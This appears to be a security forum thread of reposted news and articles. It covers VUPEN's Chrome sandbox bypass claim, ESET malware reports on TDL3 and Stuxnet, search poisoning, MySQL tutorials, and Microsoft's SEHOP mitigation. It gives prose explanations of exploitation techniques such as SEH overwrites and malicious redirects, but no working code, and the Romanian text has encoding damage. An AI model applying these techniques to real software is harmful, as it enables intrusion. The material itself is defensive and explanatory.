Nytro

Google Chrome Pwned by VUPEN aka Sandbox/ASLR/DEP Bypass Hi everyone, We are (un)happy to announce that we have officially Pwned Google Chrome and its sandbox. The exploit shown in this video is one of the most sophisticated codes we have seen and created so far as it bypasses all security features including ASLR/DEP/Sandbox, it is silent (no crash after executing the payload), it relies on undisclosed (0day) vulnerabilities discovered by VUPEN and it works on all Windows systems (32-bit and x64). The video shows the exploit in action with Google Chrome v11.0.696.65 on Microsoft Windows 7 SP1 (x64). The user is tricked into visiting a specially crafted web page hosting the exploit which will execute various payloads to ultimately download the Calculator from a remote location and launch it outside the sandbox at Medium integrity level. Note: The Calculator is used here as an example, it can be replaced by any other payload. While Chrome has one of the most secure sandboxes and has always survived the Pwn2Own contest during the last three years, we have now uncovered a reliable way to execute arbitrary code on any installation of Chrome despite its sandbox, ASLR and DEP. This code and the technical details of the underlying vulnerabilities will not be publicly disclosed. They are shared exclusively with our Government customers as part of our vulnerability research services. Sursa si video demonstrativ: http://www.vupen.com/demos/

Skype în negocieri pentru un parteneriat cu Microsoft ? 09 mai 2011 | 11:29 Aurelian Mihai Skype, renumitul furnizor pentru servicii de telefonie prin internet a devenit subiect de bârf? în urma informa?iilor ap?rute în ultima s?pt?mân?, ce anun?? negocieri intense purtate între oficialii companiei ?i reprezentan?i ai Facebook ?i Google, aparent pentru stabilirea unui parteneriat sau chiar achizi?ia acesteia. Mai nou, chiar ?i Microsoft pare s? intre în jocul negocierilor, iar motiva?ii pentru un eventual parteneriat sau achizi?ia portofoliului Skype sunt destule: Achizi?ia sau parteneriatul cu Skype poate aduce compania într-o pozi?ie favorabil? pe pia?a de comunica?ii enterprise, unde Skype are deja o prezen?? solid? pe partea serviciilor de voce, video ?i sharing. Prin achizi?ia Skype, Microsoft ar ob?ine dreptul de a integra serviciile companiei cu versiunile viitoare ale platformei Windows Mobile, impulsionând astfel adoptarea acesteia de c?tre un public mai larg. Împreun? cu Skype, Microsoft ar avea posibilitatea de a colabora cu marii operatori ai re?elelor de telefonie mobil?, mul?i dintre ei interesa?i deja de un parteneriat cu Skype Informa?iile venite din surse apropiate de Skype promit un anun? oficial în decursul acestei s?pt?mâni. În timp ce o achizi?ie integral? este pu?in probabil?, este posibil s? asist?m la crearea unui parteneriat între Microsoft ?i Skype, similar celui stabilit deja cu Nokia, din care ambele companii s? aib? de câ?tigat. Sursa: Skype în negocieri pentru un parteneriat cu Microsoft ?

Facebook te pl?te?te s? urm?re?ti reclame! 09 mai 2011 | 10:21 Aurelian Mihai Facebook a introdus un nou program de promovare, prin care utilizatorii sunt motiva?i financiar s? priveasc? anumite reclame. Vizionarea reclamelor distribuite prin re?eaua Facebook este recompensat? folosind sistemul de credite, fiecare reclam? fiind recompensat? cu 1 credit sau echivalentul a 10 cen?i. Chiar daca nu se poate vorbi despre o recompens? substan?ial?, promisiunea unui câ?tig ar putea fi suficient? pentru acei utilizatori care petrec oricum foarte mult timp conecta?i la re?eaua Facebook ?i doresc sa valorifice cumva acel timp. Mesajele publicitare pl?tite vor ap?rea mai ales în jocuri, cum ar fi Crowd Star, Digital Chocolate ?i Zynga. Facebook colaboreaz? cu Sharethrough, SocialVibe, Epic Media ?i SupersonicAds pentru furnizarea de reclame în cadrul programului, precum ?i TrialPay, un sistem de sondaje ai c?rui participan?i sunt recompensa?i financiar. Dan Greenberg, CEO pentru Sharethrough, a afirmat c? ini?iativa luat? de Facebook reprezint? o departajare de la sistemul tradi?ional de reclame întreruptive, oferind mesaje publicitare cu caracter de divertisment, pe care utilizatorii vor dori s? le priveasc? ?i s? le trimit? mai departe prietenilor. De?i câ?tigurile realizate nu pot fi transferate pe card-ul de credit, sistemul de credite Facebook ne ofer? posibilitatea de a cheltui ace?ti bani pentru a cump?ra diverse bunuri promovate în cadrul reclamelor pe care le vizion?m, sau alte bunuri virtuale disponibile în cadrul re?elei. Sursa: Facebook te pl

Securing The Kernel via Static Binary Rewriting and Program Shepherding Piotr Bania [: www.piotrbania.com :] 2011 Abstract Recent Microsoft security bulletins show that kernel vulnerabilities are becoming more and more important security threats. Despite the pretty extensive security mitigations many of the kernel vulnerabilities are still exploitable. Successful kernel exploitation typically grants the attacker maximum privilege level and results in total machine compromise. To protect against kernel exploitation, we have developed a tool which statically rewrites the Microsoft Windows kernel as well as other kernel level modules. Such rewritten binary files allow us to monitor control flow transfers during operating system execution. At this point we are able to detect whether selected control transfer flow is valid or should be considered as an attack attempt. Our solution is especially directed towards preventing remote kernel exploitation attempts. Additionally, many of the local privilege escalation attacks are also blocked (also due to additional mitigation techniques we have implemented). Our tool was tested with Microsoft Windows XP, Windows Vista and Windows 7 (under both virtual and physical machines) on IA-32 compatible processors. Our apparatus is also completely standalone and does not require any third party software. Download: http://www.piotrbania.com/all/articles/pbania-securing-the-kernel2011.pdf

Poisoned Google image searches becoming a problem Posted on 06 May 2011. If you are a regular user of Google's search engine you might have noticed that poisoned search results have practically become a common occurrence. Google has, of course, noticed this and does its best to mark the offending links as such, but it still has trouble when it comes to cleaning up its image search results. ISC's Bojan Zdrnja took it upon himself to explain how the attackers actually do it, and shows that it is actually rather simple. For one, they attack and compromise a great variety of legitimate websites - usually those which use Wordpress, since it often has vulnerabilities that can be easily exploited and the legitimate users are often lax when it comes to updating it. Then, they introduce PHP scripts in the sites' source code. "These scripts vary from simple to very advanced scripts that can automatically monitor Google trend queries and create artificial web pages containing information that is currently interested. That is actually how they generate new content – if you ever wondered how they had those web sites about Bin Laden up quickly it is because they automatically monitor the latest query trends and generate web pages with artificial content," he explains. They also harvest other sites for images, and embed them into the site. When the scripts detect Google's crawlers, they deliver to them pages containing the automatically generated content, and the pictures end up in the image search database. "The exploit happens when a user clicks on the thumbnail," says Zdrnja. "Google now shows a special page that shows the thumbnail in the center of the page, links to the original image (no matter where it is located) on the right and the original web site (the one that contained the image) in the background." Google displays all of this in an iframe, and the browser automatically sends the request to the compromised page. The PHP script inserted in it checks if the user has come from a Google results page, and if he did, it displays another script - this time it's a JavaScript one - that redirects the browser to another compromised site that serves malware. Users should be careful on what they click, but sometimes it is hard to detect malicious links. Zdrnja advises the use of browser add-ons such as the NoScript for the Firefox browser, but believes that Google could help by not using an iframe to display the results. More on Google image poisoning http://isc.sans.edu/diary/More+on+Google+image+poisoning/10822 Sursa: Poisoned Google image searches becoming a problem

Windows Phone 7 Development for Absolute Beginners 64 Parts This video series will help aspiring Windows Phone 7 developers get started. We'll start off with the basics and work our way up so in a few hours, you will know enough to build simple WP7 applications, such as a GPS aware note taking application. We'll walk you through getting the tools, knowing what an if statement is, to using the GPS built into the phone and much more! Our friend, Bob Tabor from .NET Tutorial Videos from Beginner to Expert | LearnVisualStudio.NET, will your guide through this series. Download the entire series Source Code in c# Download the entire series Source Code in VB.Net Series Introduction - Day 1 - Part 1 5 minutes, 34 seconds Installing Visual Studio 2010 Express for Windows Phone - Day 1 - Part 2 3 minutes, 3 seconds Writing your First Windows Phone 7 Application - Day 1 - Part 3 12 minutes, 34 seconds Overview of the Windows Phone 7 Emulator - Day 1 - Part 4 9 minutes, 4 seconds Dissecting the First Application you Wrote - Day 1 - Part 5 22 minutes, 1 second Managing Project Files and Understanding Compilation and Deployment - Day 1 - Part 6 8 minutes, 17 seconds Overview of Visual Studio 2010 Express for Windows Phone IDE - Day 1 - Part 7 21 minutes, 17 seconds Working with Projects - Day 1 - Part 8 12 minutes, 58 seconds Declaring Variables and Assigning Values - Day 1 - Part 9 17 minutes, 56 seconds Accepting Input and Assigning Values from a TextBox - Day 1 - Part 10 12 minutes, 50 seconds Lista tutoriale: http://channel9.msdn.com/Series/Windows-Phone-7-Development-for-Absolute-Beginners

A Collection of Examples of 64-bit Errors in Real Programs September 25, 2010 4:01 AM PDT Abstract This article is the most complete collection of examples of 64-bit errors in the C and C++ languages. The article is intended for Windows-application developers who use Visual C++, however, it will be useful for other programmers as well. Introduction Our company OOO "Program Verification Systems" develops a special static analyzer Viva64 that detects 64-bit errors in the code of C/C++ applications. During this development process we constantly enlarge our collection of examples of 64-bit defects, so we decided to gather the most interesting ones in this article. Here you will find examples both taken directly from the code of real applications and composed synthetically relying on real code since such errors are too "extended" throughout the native code. The article only demonstrates various types of 64-bit errors and does not describe methods of detecting and preventing them. If you want to know how to diagnose and fix defects in 64-bit programs, please see the following sources: Lessons on development of 64-bit C/C++ applications [1]; About size_t and ptrdiff_t [2]; 20 issues of porting C++ code on the 64-bit platform [3]; PVS-Studio Tutorial [4]; A 64-bit horse that can count [5]. You may also try the demo version of the PVS-Studio tool that includes the Viva64 static code analyzer which detects almost all the errors described in this article. The demo version of the tool can be downloaded here: Download PVS-Studio. Example 1. Buffer overflow struct STRUCT_1 { int *a; }; struct STRUCT_2 { int x; }; ... STRUCT_1 Abcd; STRUCT_2 Qwer; memset(&Abcd, 0, sizeof(Abcd)); memset(&Qwer, 0, sizeof(Abcd)); In this program, two objects of the STRUCT_1 and STRUCT_2 types are defined which must be zeroed (all the fields must be initialized with nulls) before being used. While implementing the initialization, the programmer decided to copy a similar line and replaced "&Abcd" with "&Qwer" in it. But he forgot to replace "sizeof(Abcd)" with "sizeof(Qwer)". Due to mere luck, the sizes of the STRUCT_1 and STRUCT_2 structures coincided on a 32-bit system and the code has been working correctly for a long time. When porting the code on the 64-bit system, the size of the Abcd structure increased and it resulted in a buffer overflow error (see Figure 1). Figure 1 - Schematic explanation of the buffer overflow example Such an error is difficult to detect if the data which should be used much later get spoiled. Articol: http://software.intel.com/en-us/articles/collection-of-examples-of-64-bit-errors-in-real-programs/

TDL3: The Rootkit of All Evil? Account of an Investigation into a Cybercrime Group Aleksandr Matrosov, senior virus researcher Eugene Rodionov, rootkit analyst Contents DOGMA MILLIONS CYBERCRIME GROUP ............................................................................................... 3 DOGMA MILLIONS ....................................................................................................................................... 3 THE DROPPER ...................................................................................................................................... 8 DETECTING VIRTUAL MACHINE ENVIRONMENT ..................................................................................................... 8 CHECKING LOCALES ...................................................................................................................................... 9 INSTALLING KERNEL MODE DRIVER .................................................................................................................. 10 Using AddPrintProcessor and AddPrintProvidor API ........................................................................... 10 Using known dlls ............................................................................................................................... 13 THE ROOTKIT ..................................................................................................................................... 15 INFECTION ................................................................................................................................................ 15 READING AND WRITING DATA FROM/TO HARD DISK ............................................................................................ 19 HOW TO SURVIVE AFTER REBOOT .................................................................................................................... 21 INJECTING MODULES INTO PROCESSES .............................................................................................................. 22 ENCRYPTED FILE SYSTEM ..................................................................................................................... 22 INJECTOR ........................................................................................................................................... 25 COMMUNICATION PROTOCOL ........................................................................................................................ 26 TASKS ..................................................................................................................................................... 27 APPENDIX A ....................................................................................................................................... 28 APPENDIX B ....................................................................................................................................... 29 APPENDIX C ....................................................................................................................................... 30 APPENDIX D ....................................................................................................................................... 31 Download: http://www.eset.com/us/resources/white-papers/TDL3-Analysis.pdf

Stuxnet Under the Microscope O analiza detaliata a celor de la ESET. Aleksandr Matrosov, Senior Virus Researcher Eugene Rodionov, Rootkit Analyst David Harley, Senior Research Fellow Juraj Malcho, Head of Virus Laboratory Contents 1 INTRODUCTION ................................................................................................................................ 5 1.1 TARGETED ATTACKS ............................................................................................................................. 5 1.2 STUXNET VERSUS AURORA ..................................................................................................................... 7 1.3 STUXNET REVEALED........................................................................................................................... 11 1.4 STATISTICS ON THE SPREAD OF THE STUXNET WORM ................................................................................ 15 2 MICROSOFT, MALWARE AND THE MEDIA ....................................................................................... 17 2.1 SCADA, SIEMENS AND STUXNET .......................................................................................................... 17 2.2 STUXNET TIMELINE............................................................................................................................ 19 3 DISTRIBUTION ................................................................................................................................ 24 3.1 THE LNK EXPLOIT .............................................................................................................................. 24 3.1.1 Propagation via External Storage Devices ............................................................................... 27 3.1.2 Metasploit and WebDAV Exploit .............................................................................................. 27 3.1.3 What Do DLL Hijacking Flaws and the LNK Exploit have in Common? ..................................... 28 3.2 LNK VULNERABILITY IN STUXNET .......................................................................................................... 29 3.3 THE MS10-061 ATTACK VECTOR ......................................................................................................... 31 3.4 NETWORK SHARED FOLDERS AND RPC VULNERABILITY (MS08-067) ......................................................... 34 3.5 0-DAY IN WIN32K.SYS (MS10-073) .................................................................................................... 35 3.6 MS10-092: EXPLOITING A 0-DAY IN TASK SCHEDULER ............................................................................. 40 4 STUXNET IMPLEMENTATION ........................................................................................................... 45 4.1 USER-MODE FUNCTIONALITY ................................................................................................................ 45 4.1.1 Overview of the main module .................................................................................................. 45 4.1.2 Injecting code ........................................................................................................................... 46 4.1.3 Injecting into a current process ................................................................................................ 47 4.1.4 Injecting into a new process ..................................................................................................... 50 4.1.5 Installation ............................................................................................................................... 50 4.1.6 Exported functions.................................................................................................................... 52 4.1.7 RPC Server ............................................................................................................................... 56 4.1.8 Resources ................................................................................................................................ 58 4.2 KERNEL-MODE FUNCTIONALITY ............................................................................................................. 58 4.2.1 MRXCLS.sys ............................................................................................................................... 60 4.2.2 MRXNET.sys .............................................................................................................................. 64 4.3 STUXNET BOT CONFIGURATION DATA .................................................................................................... 65 4.4 REMOTE COMMUNICATION PROTOCOL .................................................................................................. 66 CONCLUSION ......................................................................................................................................... 70 APPENDIX A ........................................................................................................................................... 71 APPENDIX B ........................................................................................................................................... 74 APPENDIX C ........................................................................................................................................... 75 APPENDIX D .......................................................................................................................................... 82 APPENDIX E ........................................................................................................................................... 84 Download: http://www.eset.com/us/resources/white-papers/Stuxnet_Under_the_Microscope.pdf

Writing MySQL Programs Using C Author: Paul DuBois Many web developers view development of C programs as a bit of a black art. Development of programs in a compiled language such as C is vastly different from the development of applications in a scripting language. To familiarize more developers with the MySQL C API, we present a three-part series of articles tailored to developers looking to get into C program development with MySQL. This first article is the full chapter from Paul DuBois' industry-standard work, MySQL, Fourth Edition, from Addison-Wesley. The second article, from Mark Schoonover, to be published next week, will cover development with the C API using the Eclipse CDT to write a sample program. The third article, also from MarkSchoonover, will go into more depth and expand the example program usingmore advanced features of the API. The chapter covers a lot of ground, covering the following topics: Starting development with the C API for MySQL How to write client programs that communicate with the server over secure connnections using the Secure Sockets Layer (SSL) protocol. How to write applications that use libmysqld, the embedded server library. How to send multiple statements to the server at once and then process the result sets that come back. How to use server-side prepared statements. And, without further ado, please download Chapter 7 of MySQL, Fourth Edition, by Paul DuBois (ISBN 0-672-32938-7). Used by permission. Copyright © 2009 Pearson Education, Inc. All rights reserved. Download: http://www.kitebird.com/mysql-book/ch07-4ed.pdf

Developing Database Applications Using MySQL Connector/C++ This tutorial will show you the essential steps to build and install MySQL Connector/C++ driver, with simple examples to connect, insert, and retrieve data from a MySQL database. Because the focus is on database connectivity from a C++ application, this document assumes that some kind of MySQL database is already up and accessible from the client machine. Application developers who are new to MySQL Connector/C++ but not to C++ programming and MySQL database, are the target audience of this tutorial. Listed below are the tools and technologies used to compile, build and run the examples in this tutorial. Database MySQL Server 5.1.24-rc C++ Driver MySQL Connector/C++ 1.0.5 MySQL Client Library MySQL Connector/C 6.0 Compiler Sun Studio 12 C++ compiler Make CMake 2.6.3 Operating System OpenSolaris 2008.11 32-bit CPU / ISA Intel Centrino / x86 Hardware Toshiba Tecra M2 Laptop CONTENTS MySQL C++ Driver Based on JDBC 4.0 Specification Installing MySQL Connector/C++ Runtime Dependencies IDE for Developing C++ Applications Create the City Table in the test Database for Code Examples Testing the MySQL Database Connectivity With the Connector/C++ Using Prepared Statements Using Transactions Accessing Result Set Metadata Accessing Database Metadata Accessing Parameter Metadata from a PreparedStatement Object Catching Exceptions Debug Tracing with MySQL Connector/C++ For More Information Tutorial: http://dev.mysql.com/tech-resources/articles/mysql-connector-cpp.html

What's New in MySQL 5.6 With MySQL 5.5 generally available and being deployed all over the planet, the architects and strategists can start looking ahead to the exciting new thing with "SQL" in its name: MySQL 5.6. MySQL 5.6 builds on the momentum of 5.5, and Oracle's investment and commitment to MySQL, by delivering better performance and scalability. At this year's MySQL Conference & Expo, you'll hear about: Optimizer improvements for all-around query performance. InnoDB improvements for higher transactional throughput. New NoSQL-style memcached APIs. Partitioning improvements for querying and managing huge tables. Replication improvements covering many aspects. Better performance monitoring by expanding the data available through the PERFORMANCE_SCHEMA. Here are the features that you will get as a graduated series of MySQL 5.6 development milestone releases. The first such milestone release, MySQL 5.6.2, is available for download right now at MySQL :: MySQL Downloads. Start beta testing the 5.6 release now and give feedback to the MySQL engineering team. Performance Improvements Optimizer Improvements Index Condition Pushdown Moves more of the processing for WHERE clauses to the storage engine. Instead of fetching entire rows to evaluate against a set of WHERE clauses, ICP sends those clauses to the storage engine, which can prune the result set by examining index tuples. The result is less I/O overhead for the base table, and less internal communication overhead for the server and the storage engine. This feature works with InnoDB, MyISAM, and NDBCLUSTER tables. Read more about index condition pushdown. Multi-Range Read Until the day when you have all the SSDs you want, it's faster to read data sequentially from disk than to do random accesses. For secondary indexes, the order for the index entries on disk is different than the order of disk blocks for the full rows. Instead of retrieving the full rows using a sequence of small out-of-order reads, MRR scans one or more index ranges used in a query, sorts the associated disk blocks for the row data, then reads those disk blocks using larger sequential I/O requests. The speedup benefits operations such as range index scans and equi-joins on indexed columns. (Think InnoDB foreign keys.) Works all storage engines. Read more about multi-range read. File Sort Optimization For queries that combine ORDER BY non_indexed_column and a LIMIT x clause, this feature speeds up the sort when the contents of X rows can fit into the sort buffer. Works with all storage engines. InnoDB Improvements MySQL 5.6 builds on the platform of InnoDB fully integrated as the default storage engine, which happened way back in MySQL 5.5. Persistent Optimizer Stats Provides improved accuracy of InnoDB index statistics, and consistency across MySQL restarts. InnoDB precomputes statistics that help the optimizer decide which indexes to use in a query, by sampling a portion of the index. You can adjust the amount of sampling that InnoDB does for each index. The resulting statistics can now persist across server restarts, rather than being recomputed (and possibly changing) due to restarts and some runtime events. The more accurate statistics can improve query performance, and the persistence aspect can keep query performance stable. This feature is controlled by the configuration options innodb_analyze_is_persistent, innodb_stats_persistent_sample_pages, and innodb_stats_transient_sample_pages. When the persistent stats feature is enabled, the statistics are only recomputed when you explicitly run ANALYZE TABLE for the table. Read more about Persistent Optimizer Stats. New INFORMATION_SCHEMA Tables Once InnoDB information was made available for queries through the INFORMATION_SCHEMA in MySQL 5.5, people clamored for more kinds of status and monitoring information. The SQL interface is more standardized and predictable than parsing the text output from SHOW STATUS commands. Metrics table: Provides a generic and comprehensive resource and performance monitoring framework for InnoDB. The new I_S table is INNODB_METRICS. System Tables: Makes the InnoDB internal data dictionary available for SQL queries, for convenience of monitoring. The new I_S tables are INNODB_SYS_TABLES, INNODB_SYS_TABLESTATS, INNODB_SYS_INDEXES, INNODB_SYS_COLUMNS, INNODB_SYS_FIELDS, INNODB_SYS_FOREIGN, and INNODB_SYS_FOREIGN_COLS. Buffer Pool Information table: Displays buffer pool page information for tuning on large-memory or highly loaded systems. (Highly requested by customers and community users.) The new I_S tables are INNODB_BUFFER_PAGE, INNODB_BUFFER_PAGE_LRU, and INNODB_BUFFER_POOL_STATS. Additional Optimizer Support InnoDB supports the ICP, MRR, and file sort optimizer features mentioned earlier. Split Kernel Mutex The InnoDB team continues to remove bottlenecks for busy systems. Now instead of a single mutex controlling concurrent access to core InnoDB operations, several more fine-grained mutexes and rw-locks reduce contention on a busy system. In particular, the subsystems for transaction control, MVCC views, and locking now all have separate mutexes or rw-locks. Read more about the kernel mutex split. Multi-Threaded Purge InnoDB now has multiple purge threads, making purge operations across multiple tables more efficient. Originally, purge operations were handled by the InnoDB master thread, leading to contention with other InnoDB operations; in MySQL 5.5, purge was moved into a single separate thread, and in MySQL 5.6 you can set innodb_purge_threads to a value greater than 1. Read more about multiple purge threads. Separate Flush Thread A separate http://dev.mysql.com/doc/refman/5.6/en/glossary.html#glos_flush">flush thread (page_cleaner) makes flushing operations more efficient. This operation was formerly controlled by the InnoDB master thread, leading to contention with other InnoDB operations. Read more about the separate flush thread. Pruning the InnoDB Table Cache To ease the memory load on systems with huge numbers of tables, InnoDB now frees up the memory associated with an opened table. An LRU algorithm selects tables that have gone the longest without being accessed. To reserve more memory for open tables, increase the value of the --table_definition_cache=# configuration option. Read more about the InnoDB table cache. NoSQL Interface via memcached The ever-increasing performance demands of web-based services has generated significant interest in providing NoSQL access methods to MySQL – maintaining all of the advantages of your existing relational database infrastructure, while providing blazing fast performance for simple queries, using an API to complement regular SQL access to your data. Using the memcached API, web services can now directly access the InnoDB storage engine without transformations to SQL, ensuring low latency and high throughput for read/write queries. Operations such as SQL parsing are eliminated and more of the server's hardware resources (CPU, memory and I/O) are dedicated to servicing the query within the storage engine itself. By using memcached, developers and DBAs are able to: Preserve investments in memcached infrastructure by reusing existing memcached clients and eliminating the need for application changes. Access the full range of memcached client libraries and platforms, providing maximum deployment flexibility and consistently high performance across all supported environments. Extend memcached functionality by integrating a persistent, crash-safe, transactional database back-end offering ACID compliance. The InnoDB memcached API is available in Labs.mysql.com. Read more about memcached API for InnoDB. The MySQL Cluster 7.2 Development Milestone Release also previews a memcached interface for the NDBCLUSTER storage engine. Read more about the NoSQL interface for NDBCLUSTER. Scalability Improvements Data gets bigger. That's a fact of life. Partitioned tables help to segment that data into manageable portions, while keeping the convenience of a SQL interface to the full table. These new features make certain operations with partitions faster and more convenient. Partitioning Improvements Explicit Partition Selection With partitioned tables, MySQL can restrict processing to only the relevant portions of a big data set. Now you can directly define which partitions are used in a query, DML, or data load operation, rather than repeating all the partitioning criteria in each statement. SELECT * FROM employees PARTITION (p0, p2); DELETE FROM employees PARTITION (p0, p1); UPDATE employees PARTITION (p0) SET store_id = 2 WHERE fname = 'Jill'; SELECT e.id, s.city FROM employees AS e JOIN stores PARTITION (p1) AS s ...; Import / Export for Partitioned Tables To quickly bring a new data set into a partitioned table, or to export a partition or subpartition to manage it as a regular table, you can use the syntax ALTER TABLE ... EXCHANGE PARTITION. You specify a partition or subpartition of a partitioned table, and a non-partitioned table with a compatible structure, and this operation swaps their places without any expensive copy operation. ALTER TABLE e EXCHANGE PARTITION p0 WITH TABLE e2; This operation works with any storage engine that supports partitioned tables. Replication Improvements Replication is a fruitful area for enhancements to data integrity, availability, and let's not forget performance. Replication Improvements to Performance Optimized Row-Based Replication By only replicating partial "before" and "after" images for INSERT, UPDATE and DELETE events where primary keys or explicit columns were set in the SQL statement, performance can be increased while binary log disk space, network resources and server memory footprint are reduced. Multi-Threaded Slaves Replication performance is improved by using multiple execution threads to apply replication events to slave servers. The multi-threaded slave splits work between worker threads based on the database name, allowing updates to be applied in parallel rather than sequentially. As a result, replication throughput is increased and latency is reduced which minimizes the risk of replication lag, enabling slaves to serve the freshest updates to the application. The multi-threaded slave functionality is available now as part of the snapshot-next-mr-wl5563-labs build which can be downloaded from Labs.mysql.com. Replication Improvements to Data Integrity Crash-Safe Slaves Extends the robustness and ease-of-use of MySQL replication by making the slaves crash-safe when using transactional storage engines such as InnoDB. The slave can automatically recover from a failure and resume replicating DML updates, without the DBA having to access the master.info and relaylog.info files to manually roll back replication to the last successfully committed transaction, or to skip transactions. As a result, data integrity is enhanced and DBAs can be free to concentrate on more strategic data management activities. Replication Checksums Ensures the integrity of data being replicated to a slave by detecting data corruption and returning an error, preventing the slave itself from becoming corrupt. Checksums are implemented in the binary and relay logs as well as to individual replication events, allowing errors to be detected whether they are caused by memory, disk or network failures, or by the database itself. Checksum checking can be implemented on a per-slave basis, giving maximum flexibility in how and where it is deployed. Time-Delayed Replication You can define a time delay for events to be replicated from a master to each slave, defined in millisecond increments up to a maximum of 68 years! Time-Delayed Replication affords protection against operational errors made on the master, for example accidently dropping tables, in which event the slave can be promoted to the new master in order to restore the database to its previous state. Time-Delayed Replication can also be useful in testing application behavior by emulating any instances of replication lag. Time-Delayed Replication is implemented at the per-slave level (via holding execution of the SQL_THREAD), so you could configure multiple slaves to apply replication events immediately, and another slave to apply only after a delay of 5 minutes, therefore providing deployment flexibility. Replication Improvements to Usability Informational Log Events Enhances auditing and debugging when using Row-Based Replication by writing the original query to the binary log, which is then replicated with its associated row-based event to the slave. Remote Binlog Back-up Enhances operational efficiency by using the replication channel to create real-time back-ups from the binary log. By adding a "raw" flag, the binlog is written out to remote back-up servers, without having a MySQL database instance translating it into SQL statements, and without the DBA needing SSH access to each master server. Server UUIDs Automatically generates a Universally Unique Identifier (UUID) for each server, allowing MySQL Enterprise Monitor or any other monitoring tool to retrieve information about master and slave servers in a replication configuration. The UUID is available through a SQL query and in the output of the SHOW SLAVE STATUS command. This technique requires fewer database connections and works better with servers that are monitored remotely or that use virtual IP addresses. This feature is especially useful in large and highly dynamic replication environments, making auto-discovery more reliable and simplifying systems management. Instrumentation and Diagnostic Improvements via PERFORMANCE_SCHEMA MySQL 5.6 greatly enhances the PERFORMANCE_SCHEMA features for performance monitoring and tuning. The information in the performance_schema tables lets you see how various low-level items factor into overall database performance, which ones are the "hottest" under various workloads and system configurations, and trace issues back to the relevant file and line in the source code so you can really see what's happening behind the scenes. Read more about Performance Schema. Reduced Overhead The performance_schema code is further tuned in 5.6 to reduce the performance overhead of running with this feature enabled. Table I/O and Instrumentation The setup_object table enables a DBA to understand, analyze, and tune how an application generates I/O load related to table access on the MySQL database server. Table Locks Instrumentation The setup_object table enables a DBA to identify "hot tables" and other object-related bottlenecks caused by the data access patterns of an application. Session/User Level Instrumentation The setup_actors table enables a DBA to monitor the load generated from a specific user or application by selectively instrumenting specific end user/application connections. This is valuable to narrow down the monitoring data collected: a) by thread or session, by connections originating from a given user account, c) by connections originating from a given machine, d) by connections originating from a given user account on a given machine. Reducing the amount of instrumented connections also reduces the runtime overhead of the instrumentation in production. Global Performance Metric Summaries Globally aggregates the data collected by the PERFORMANCE_SCHEMA by thread / by object / by instrumentation point. Enables DBA to write monitoring scripts and applications. Table/Index I/O Summary The setup_object table aggregates table I/O data collected by the PERFORMANCE_SCHEMA, by index, by table. Aggregation shows which tables or indexes are "hot" and most used by an application, and helps to identify the application data access patterns. Table Lock Wait Summary Aggregates Table lock data collected by the PERFORMANCE_SCHEMA by table. This aggregation shows which "hot" tables are often locked by an application, and helps to identify the application bottlenecks caused by table locking. Statement-Level Instrumentation Enables a DBA to monitor statement execution, collect per-statement metrics, and analyze statements/executions by end user session or global aggregates. Quantify which statements are generated by an application, execution times/counts and access paths. Metrics reported give insight on the data volumes, the selectivity of WHERE clauses, and index usage patterns. Available in Labs.mysql.com. Show Contents of Host Cache - centralized logging of connection errors (Highly requested by customers and community users. Delivered via community code contribution.) Provides centralized logging of connection-related errors. MySQL internal host cache has been instrumented and exposed in a relational table for SQL access, providing a centralized logging of connection errors, with details about the exact root cause (SSL, DNS, Authentication plugins, ...) This enables a DBA to easily troubleshoot large deployments involving numerous users and heterogeneous applications. Available from Labs.mysql.com. Next Steps: Now that you have read about all the exciting new performance and scalability improvements, it's your turn to take MySQL 5.6 for a spin: Download MySQL 5.6: MySQL :: MySQL Downloads. For the more experimental features listed here, get them at MySQL :: MySQL Server Snapshots. Read the MySQL 5.6 docs: MySQL :: MySQL Documentation: MySQL Reference Manuals Blog about your experience: Planet MySQL Join the discussion: MySQL :: MySQL Forums Sursa: MySQL :: What's New in MySQL 5.6

Preventing the Exploitation of Structured Exception Handler (SEH) Overwrites with SEHOP swiat, 2 Feb 2009 5:53 PM One of the responsibilities of Microsoft’s Security Engineering Center is to investigate defense in depth techniques that can be used to make it harder for attackers to successfully exploit a software vulnerability. These techniques are commonly referred to as exploit mitigations and have been delivered to users in the form of features like /GS, Data Execution Prevention (DEP), and Address Space Layout Randomization (ASLR). In Windows Server 2008 and Windows Vista SP1, Microsoft released support for a new platform mitigation known as Structured Exception Handler Overwrite Protection (SEHOP). The purpose of this article is to explain the problem this feature is attempting to solve, how it goes about solving it, and what you can do take advantage of it. The exploitation technique: SEH overwrites The purpose of the SEHOP mitigation is to prevent an attacker from being able to make use of the Structured Exception Handler (SEH) overwrite exploitation technique. This exploitation technique was publicly documented by David Litchfield of NGS Software in a research paper that he published in September, 2003[1]. Since this publication, the SEH overwrite technique has become a standard weapon in an attacker’s arsenal. Roughly 20% of the exploits included in the latest version of the Metasploit framework make use of the SEH overwrite technique. SEH overwrites are also commonly used by exploits that target the increasing number of browser-based vulnerabilities[4]. At a high-level, the SEH overwrite technique uses a software vulnerability to execute arbitrary code by abusing the 32-bit exception dispatching facilities provided by Windows. At a functional level, an SEH overwrite is generally accomplished by using a stack-based buffer overflow to overwrite an exception registration record that has been stored on a thread’s stack. To provide some context, an exception registration record is composed of two fields: a next pointer and an exception handler function pointer. The next pointer is used to link an exception registration record to the next record in the singly-linked list of registered exception handlers. The exception handler function pointer is called by the Windows exception dispatcher when an exception occurs. The definition for an exception registration record can be seen below: typedef struct _EXCEPTION_REGISTRATION_RECORD { struct _EXCEPTION_REGISTRATION_RECORD *Next; PEXCEPTION_ROUTINE Handler; } EXCEPTION_REGISTRATION_RECORD, *PEXCEPTION_REGISTRATION_RECORD; After an exception registration record has been overwritten, an exception must be raised so that the exception dispatcher will attempt to handle it. This can be accomplished in a number of ways, such as by overwriting a return address on the stack with a bogus address in order to cause an access violation exception to be raised. When an exception is raised, the exception dispatcher will attempt to enumerate the list of exception registration records for the thread and call the exception handler that is associated with each record. By corrupting the next pointer and exception handler function pointer of one of the exception registration records, the exception dispatcher can be made to execute code from an arbitrary address as specified by the corrupt exception handler function pointer. In many cases, an attacker will choose to overwrite the exception handler function pointer with an address that contains instructions that are equivalent to a pop reg, pop reg, ret. This allows an attacker to reliably execute arbitrary code by transferring control to the EstablisherFrame that the exception dispatcher passes as the second parameter when calling an exception handler. This works because the EstablisherFrame parameter holds the address of the attacker-controlled exception registration record. Attackers have also used heap spraying in conjunction with an SEH overwrite to reliably execute arbitrary code. The following diagram illustrates what an SEH overwrite would typically look like from an exploitation perspective: The mitigation technique: SEHOP There are two general approaches that can be considered when attempting to mitigate the SEH overwrite exploitation technique. The first approach involves making changes to the compiled versions of code such that executable files are made to contain metadata 